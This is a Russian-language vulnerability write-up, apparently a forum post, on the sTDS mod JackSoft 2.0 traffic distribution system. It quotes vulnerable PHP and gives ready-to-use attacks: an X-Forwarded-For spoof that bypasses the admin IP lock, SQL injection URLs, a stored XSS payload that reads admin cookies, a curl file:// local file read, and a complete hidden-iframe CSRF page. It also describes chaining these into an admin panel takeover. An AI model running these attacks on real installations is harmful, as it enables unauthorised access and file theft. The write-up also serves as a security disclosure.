Продукт: sTDS mod JackSoft
Версия: 2.0
Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам.
В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS.
1) Недостаточная фильтрация переменных.
Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится.
Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости.
Уязвимый код:
Файл got.php (Строки: 10-12)
PHP код:
$ua=urldecode($_SERVER['HTTP_USER_AGENT']);
...
if(eregi($stop_words, $ua)) $ua = eregi_replace($stop_words,'xxx',$ua);
Недостаточная фильтрация переменной
$ua
Файл got.php (Строки: 20,85)
PHP код:
$ref=urldecode($_SERVER['HTTP_REFERER']);
...
if(eregi($stop_words, $ref)) $ref = eregi_replace($stop_words,'xxx',$ref);
Недостаточная фильтрация переменной
$ref
Файл got.php (Строки: 83,86)
PHP код:
$refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5));
...
if(eregi($stop_words, $refref)) $refref = eregi_replace($stop_words,'xxx',$refref);
Недостаточная фильтрация переменной $refref
2)
Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки.
Уязвимый код:
Файл login.php (Строки: 21)
PHP код:
setcookie('pwd', md5(md5($pass.$alogin)), time()+60*60*8);
Флаг
HttpOnly не устанавливается!
3) Обход привязки авторизации к IP адресу.
Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели.
Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора.
Уязвимый код:
Файл functions.php (Строки: 45-72)
PHP код:
function getip(){
If (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && !stristr($_SERVER['HTTP_X_FORWARDED_FOR'], "known") && !isLocalIP($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ipList = explode (",", $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $ipList [0];
}
...
if (preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/", $ip) && strlen($ip)<16) {
return $ip;
}
...
}
Функция получения IP адреса текущего юзера. Как видно из кода данная функция получает IP адрес из заголовков а не реальный адрес подключившегося юзера. Такой подход недопустим при авторизации!
Файл index.php (Строки: 8-26)
PHP код:
if($is_ip_access == '1')
{
$is_denied = true;
$ip=getip(); //IP-адрес серфера
$ccc = sizeof($ip_access);
for($i=0; $i<$ccc; $i++)
{
if(eregi("^{$ip_access[$i]}", $ip))
{
$is_denied = false;
break;
}
}
if($is_denied == true)
{
header('HTTP/1.1 403 Forbidden');
die("<h1>403 Forbidden</h1>");
}
}
Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный.
Пример:
http://test/path_to_stds/index.php
Код:
X-Forwaded-For: [admin_ip]
Где [admin_ip] - мы заменяем на IP адрес администратора
SQL injection
В уязвимости класса
SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса
XSS active, что позволит злоумышленнику украсть данные для входа в админ панель.
Зависимости:
Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести
SQL injection.
Уязвимый код:
Файл got.php (Строки: 31-43)
PHP код:
$ipa = file(dirname(__FILE__)."/worldip/worldip.en.txt");
$sss = sizeof($ipa);
for($i=0; $i<$sss; $i++)
{
list($a1, $a2, $a3, $a4, $a5, $a6) = split(",", trim($ipa[$i]));
$ipLstart = str_replace('"', '', $a3);
$ipLend = str_replace('"', '', $a4);
if($ipLo >= $ipLstart && $ipLo <= $ipLend)
{
$cc = str_replace('"', '', $a5);
$cn = str_replace('"', '', $a6);
}
}
Если подменить IP на любой который не входит в базу WorldIP. Переменная
$cc не будет инициализирована.
Файл got.php (Строки: 529)
PHP код:
$qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
Здесь переменная
$cc попадает в запрос
Пример 1
Код:
http://test/path_to_stds/got.php?sid=1&cc=1'
Пример 2
Код:
http://test/path_to_stds/got.php?sid=1&cc=1','127.0.0.1','','','Opera/9.80','','',%20'http://test1.ru/')%20--%20d
SQL injection
В уязвимости класса
SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса
XSS active (пример см. ниже), что позволит злоумышленнику украсть данные для входа в админ панель. Необходима правка заголовков HTTP пакета, данная процедура несложна, но у "начинающего" злоумышленника может вызвать затруднение.
Как было написано выше, в данном приложении выбрана неправильная политика фильтрации входящих данных, что дает возможность злоумышленнику провести атаку
SQL injection.
Уязвимый код:
Файл got.php (Строки: 10-12)
PHP код:
$ua=urldecode($_SERVER['HTTP_USER_AGENT']);
...
if(eregi($stop_words, $ua)) $ua = eregi_replace($stop_words,'xxx',$ua);
Недостаточная фильтрация переменной
$ua
Файл got.php (Строки: 529)
PHP код:
$qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
Здесь переменная
$ua попадает в запрос
Пример:
http://test/path_to_stds/got.php?sid=1
SQL injection
Уязвимый код:
Файл got.php (Строки: 20,85)
PHP код:
$ref=urldecode($_SERVER['HTTP_REFERER']);
...
if(eregi($stop_words, $ref)) $ref = eregi_replace($stop_words,'xxx',$ref);
Недостаточная фильтрация переменной
$ref
Файл got.php (Строки: 529)
PHP код:
$qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
Здесь переменная
$ref попадает в запрос
Пример:
http://test/path_to_stds/got.php?sid=1
SQL injection
Уязвимый код:
Файл got.php (Строки: 83,86)
PHP код:
$refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5));
...
if(eregi($stop_words, $refref)) $refref = eregi_replace($stop_words,'xxx',$refref);
Недостаточная фильтрация переменной
$refref
Файл got.php (Строки: 529)
PHP код:
$qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
Здесь переменная
$refref попадает в запрос
Пример:
http://test/path_to_stds/got.php?sid=1&sref=1'
XSS passive
Зависимости:
Должен быть включен редирект с помощью JS
Уязвимость эксплуатировать практически невозможно так как необходимо вынудить пользовтеля отправить сфальцифицированный
Referer.
Уязвимый код:
Файл got.php (Строки: 20,85)
PHP код:
$ref=urldecode($_SERVER['HTTP_REFERER']);
...
if(eregi($stop_words, $ref)) $ref = eregi_replace($stop_words,'xxx',$ref);
Недостаточная фильтрация переменной
$ref
Файл got.php (Строки: 564-567)
PHP код:
$js = file_get_contents("redirects/js.txt");
$js = str_replace("{ref}", $ref, $js);
$js = str_replace("{redir_url}", $redir_url, $js);
echo $js;
Файл redirects/js.txt
Пример:
http://test/path_to_stds/got.php?sid=1
Код:
Referer: ';alert('11');x='
XSS active
Несложная эксплуатация данной уязвимости в совокупности с грамотным подходом, даст злоумышленнику легкий шанс попасть в админку.
Классическое использование данной
XSS (отправка cookies на сниффер) даст злоумышленнику два самых важных параметра, необходимых для успешной авторизации в админке: cookies и IP адрес админа. Так как в данном приложении IP адрес можно подделать, то злоумышленник сможет успешно авторизироваться в админ панели.
При выполнении атаки (в отличие от классического использования) злоумышленнику не потребуется вынуждать администратора выполнять какие либо действия (перейти по ссылке), а достаточно дождаться момента когда администратор зайдет в админку чтобы просмотреть статистику. Именно в этот момент выполнится
XSS.
Уязвимый код:
Файл got.php (Строки: 83,86)
PHP код:
$refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5));
...
if(eregi($stop_words, $refref)) $refref = eregi_replace($stop_words,'xxx',$refref);
Недостаточная фильтрация переменной
$refref
Файл got.php (Строки: 125-136)
PHP код:
if($refref){
$refref_info=getInfo(trim($refref));
if($refref_info){
...
$se_query=(isset($refref_info['query']))?$refref_info['query']:false;
}
Получение компонента
$se_query из переменной
$refref. Это кейворд по которому юзер пришел из поисковой системы.
Файл got.php (Строки: 529)
PHP код:
$qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
Здесь переменная
$se_query попадает в запрос
Файл stats.php (Строки: 633-636)
PHP код:
echo "</td><td>";
$se_query=$line['query_string'];
echo "$se_query";
echo "</td></tr>";
Вывод
$se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения.
Пример:
Код:
http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22%3E111%3C/body%3E
XSS код будет отображен тут:
http://test/path_to_stds/stats.php
File read
Зависимости:
Необходимы права администратора
Для чтения любого локального файла необходимо создать аут с url вида:
Код:
f{{key}}ile://localhost/[filepath]
А
Redir Type указать равным
Curl. Так как
Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом:
Код:
http://test/path_to_stds/got.php?sid=[schema_num]
Строка
"{{key}}" заменится на "". И мы увидим содержимое локального файла
Код:
file://localhost/[filepath]
Пример:
1) Создаем аут с
Redir Type равным
Curl
Код:
f{{key}}ile://localhost/С:/boot.ini
2) Открываем
Код:
http://test/path_to_stds/got.php?sid=1
CSRF
Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него.
К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости.
Пример:
Если у злоумышленника получится заманить админа на страницу со специальным содержимым.
Пример:
Код:
<iframe name="IframeScheme" height="1px" width="1px"></iframe>
<iframe name="IframeOut" height="1px" width="1px"></iframe>
<form name="CreateScheme" action="http://test/path_to_stds/" method="post" target="IframeScheme">
<input name="action" type="hidden" value="add">
<input name="name" type="hidden" value="[read]">
</form>
<script>
function SubmitSchemeForm(){
document.CreateScheme.submit();
}
SubmitSchemeForm();
</script>
<form name="CreateOut" action="http://test/path_to_stds/editout.php?sid=2" method="post" target="IframeOut">
<input type="hidden" name="url" value="f{{tds-key}}://localhost/{{tds-path}}">
<input type="hidden" name="unics" value="0">
<input type="hidden" name="hits" value="0">
<input type="hidden" name="sale" value="0">
<input type="hidden" name="geo" value="ALL">
<input type="hidden" name="empty_ref" value="">
<input type="hidden" name="weight" value="1">
<input type="hidden" name="redir_type" value="curl">
<input type="hidden" name="active" value="true">
<input type="hidden" name="out_isparam" value="true">
<input type="hidden" name="sid" value="2">
<input type="hidden" name="action" value="add">
</form>
<script>
function SubmitOutForm(){
document.CreateOut.submit();
}
setTimeout(SubmitOutForm, 5000);
</script>
То после этого злоумышленник получит возможность читать любой файл:
Код:
http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini
Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение
sid